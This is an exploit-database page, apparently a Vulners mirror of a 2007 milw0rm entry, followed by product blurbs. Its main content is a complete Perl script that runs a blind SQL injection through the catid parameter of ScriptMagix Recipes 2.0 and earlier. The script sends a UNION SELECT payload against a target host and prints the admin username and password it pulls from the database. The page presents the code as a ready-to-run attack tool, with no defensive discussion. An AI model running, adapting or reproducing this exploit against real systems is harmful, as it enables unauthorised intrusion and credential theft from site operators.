Lucene search
K

ScriptMagix Recipes <= 2.0 (index.php catid) SQL Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 13 Views

ScriptMagix Recipes <= 2.0 (index.php catid) SQL Injection Exploit by ajann for remote Blind SQL Injection

Code

                                                #!/usr/bin/perl
#[Script Name: ScriptMagix Recipes &#60;= 2.0 (index.php catid) Remote Blind SQL Injection Exploit
#[Coded by   : ajann
#[Author     : ajann
#[Contact    : :(
#[S.Page     : http://www.scriptmagix.com
#[$$         : 35$
#[..         : ajann,Turkey

use IO::Socket;
if(@ARGV &#60; 1){
print &#34;
[========================================================================
[//   ScriptMagix Recipes &#60;= 2.0 (index.php catid) Remote Blind SQL Injection Exploit
[//                   Usage: exploit.pl [target]
[//                   Example: exploit.pl victim.com
[//                   Example: exploit.pl victim.com
[//                           Vuln&Exp : ajann
[========================================================================
&#34;;
exit();
}
#Local variables
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = &#34;http://&#34;.$server;
$port = &#34;80&#34;;
$file = &#34;/index.php?catid=&#34;;

print &#34;Script &#60;DIR&#62; : &#34;;
$dir = &#60;STDIN&#62;;
chop ($dir);

if ($dir =~ /exit/){
print &#34;-- Exploit Failed[You Are Exited] \n&#34;;
exit();
}

if ($dir =~ /\//){}
else {
print &#34;-- Exploit Failed[No DIR] \n&#34;;
exit();
 }


$target = &#34;-1%20union%20select%200,1,2,3,4,5,6,7,1,2,concat(char(117,115,101,114,110,97,109,101,58),username,char(112,97,115,115,119,111,114,100,58),password),4,0%20from%20admin/*&#34;;
$target = $host.$dir.$file.$target;

#Writing data to socket
print &#34;+**********************************************************************+\n&#34;;
print &#34;+ Trying to connect: $server\n&#34;;
$socket = IO::Socket::INET-&#62;new(Proto =&#62; &#34;tcp&#34;, PeerAddr =&#62; &#34;$server&#34;, PeerPort =&#62; &#34;$port&#34;) || die &#34;\n+ Connection failed...\n&#34;;
print $socket &#34;GET $target HTTP/1.1\n&#34;;
print $socket &#34;Host: $server\n&#34;;
print $socket &#34;Accept: */*\n&#34;;
print $socket &#34;Connection: close\n\n&#34;;
print &#34;+ Connected!...\n&#34;;
#Getting
while($answer = &#60;$socket&#62;) {
if ($answer =~ /username:(.*?)pass/){
print &#34;+ Exploit succeed! Getting admin information.\n&#34;;
print &#34;+ ---------------- +\n&#34;;
print &#34;+ Username: $1\n&#34;;
}

if ($answer =~ /password:(.*?)&#60;\/a&#62;/){
print &#34;+ Password: $1\n&#34;;
}

if ($answer =~ /Syntax error/) { 
print &#34;+ Exploit Failed : ( \n&#34;;
print &#34;+**********************************************************************+\n&#34;;
exit(); 
}

if ($answer =~ /Internal Server Error/) {
print &#34;+ Exploit Failed : (  \n&#34;;
print &#34;+**********************************************************************+\n&#34;;
exit(); 
}
 }

# milw0rm.com [2007-03-18]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation